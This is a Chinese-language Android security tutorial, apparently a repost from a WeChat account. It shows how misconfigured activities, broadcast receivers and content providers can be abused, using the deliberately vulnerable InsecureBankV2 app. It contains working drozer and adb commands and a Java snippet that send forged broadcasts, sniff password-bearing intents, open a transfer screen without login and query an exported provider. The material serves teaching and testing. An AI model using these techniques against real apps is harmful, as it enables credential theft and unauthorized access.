一、四大组件介绍
对于Android开发者来说,四大组件是绕不过去的,但是很少人知道四大组件要是配置错误会产生什么样的安全风险,这里简单介绍下,也算是抛砖引玉,各位移动大神勿喷。
四大组件,它们分别是:
-
Activity(活动):表示应用中的一个屏幕,通常包含用户界面。每个Activity都有一个生命周期,可以响应用户的交互事件和系统事件,如创建、启动、暂停、恢复、停止和销毁。
-
Service(服务):在后台执行长时间运行的操作,没有用户界面。服务可以与其他应用组件(如Activity)进行通信,以执行某些操作或提供某些功能。
-
Broadcast Receiver(广播接收器):它是一个组件,可以接收来自系统或其他应用程序的广播消息,如电池电量低、手机网络状态变化等。当广播消息到达时,广播接收器会启动应用程序中的某些操作。
-
Content Provider(内容提供器):它是一个组件,用于管理应用程序中的数据。它可以提供应用程序的数据给其他应用程序,也可以使用其他应用程序提供的数据。通过内容提供器,应用程序可以共享数据,如联系人、音乐、图片等。
二、环境搭建及工具
环境搭建:
采用genymotion搭建android运行环境,采用的是Google Nexus 5X Rom版本。这个选定了直接启动即可,没有多余的操作,而且后续可以使用adb连接。
(注:现在很多android的模拟器,但是对于安全研究或者开发者来说,重点还是推荐这个)
工具使用:
采用了drozer,具体安装和操作可以查看官网介绍,这个工具还专门有本书,有兴趣的可以看下
现在已经有了中文版,这本书对于入门移动安全还是挺不错的,我当时看的英文版,推荐英文版,很简单,很好理解。
三、四大组件安全问题
1、不安全的组件配置
组件配置一般都在AndroidManifest.xml中设置,如下面的activity的配置:
为了更好的检查出错误的配置项,这里可以使用drozer工具,这个工具有人认为比较老了,但是对于组件的扫描和利用我个人觉得还是相当神器的,为了演示方便,我们拿insecurebankv2来做演示:
dz> run app.activity.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
com.android.insecurebankv2.LoginActivity
Permission: null
com.android.insecurebankv2.PostLogin
Permission: null
com.android.insecurebankv2.DoTransfer
Permission: null
com.android.insecurebankv2.ViewStatement
Permission: null
com.android.insecurebankv2.ChangePassword
Permission: null
这里直接列出了没有权限校验的
activity
2、错误的Broadcast Receivers
错误配置参考如下:
<receiver
android:name=".MyBroadCastReceiver"
android:exported="true" >
<intent-filter>
<action android:name="theBroadcast" >
</action>
</intent-filter>
</receiver>
这段代码是一个Android中的广播接收器声明,声明了一个名为"MyBroadCastReceiver"的广播接收器,并且定义了一个action为"theBroadcast"的Intent过滤器。这个广播接收器可以接收到发送到"theBroadcast" action的广播消息。
对于这个咋样利用呢,需要逆向APP代码,这个逆向就不多说了,这个演示APP没有加壳直接反编译即可,找到theBroadcast:
漏洞利用:通过drozer或者adb的方式发送广播,可以使用以下命令:
dz> run app.broadcast.send --action theBroadcast --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1234 --extra string newpass Dinesh@123!
adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver --es phonenumber 5554 --es newpass Jack@123#
这个命令将会发送一个action为"theBroadcast"的广播消息,可以被上述代码中的广播接收器所接收并处理。
请注意,这个命令需要在已经连接到设备的adb shell中执行。
大家可以自己试一下,发送这个广播后会收到一个短信,短信会把密码信息打印出来,这个是发送的广播被短信APP接收到了,发送的广播没有权限控制,可以被其他的接收到,可以结合下面这个事例一起看
3、Intent Sniffing and Injection
漏洞利用:
dz> run app.broadcast.info -a com.android.insecurebankv2 -i
Package: com.android.insecurebankv2
com.android.insecurebankv2.MyBroadCastReceiver
Intent Filter:
Actions:
- theBroadcast
Permission: null
利用drozer模块
run app.broadcast.sniff --action theBroadcast
自己写代码
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
IntentFilter filter = new IntentFilter("theBroadcast");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
TextView t1 = (TextView) findViewById(R.id.textView);
Bundle extras = getIntent().getExtras();
if (extras != null) {
t1.setText("Phone Number is: " + extras.getString("phonenumber") + " and " + "New Password is: " + extras.getString("newpass"));
}
}
漏洞演示:
dorzer演示结果:
Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.
Action: theBroadcast
Raw: Intent { act=theBroadcast
flg=0x10 (has extras) }
Extra: newpass=Dinesh@123! (java.lang.String)
Extra: phonenumber=15555215554 (java.lang.String)
4、暴露的activity组件配置
这个就是我们常说的锁屏绕过类问题,先看组件的配置情况:
漏洞利用:
adb shell am start -n com.android.insecurebankv2/.DoTransfer
发出这个命令后,直接免登入跳转到了转账页面,大家可以自己测试下
5、不安全的Content Provider
组件的错误配置:
<provider
android:name=".TrackUserContentProvider"
android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
android:exported="true" >
</provider>
同时结合代码来看:
漏洞利用:
adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
这个命令执行出去,就可以查询到这个APP在端的数据库数据,可以认为是越权访问了。
后面我们继续介绍下android其他的问题,包括端上的其他问题以及fridra的使用、hook等等。
原文始发于微信公众号(YY的黑板报):移动端安全开发之四大组件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论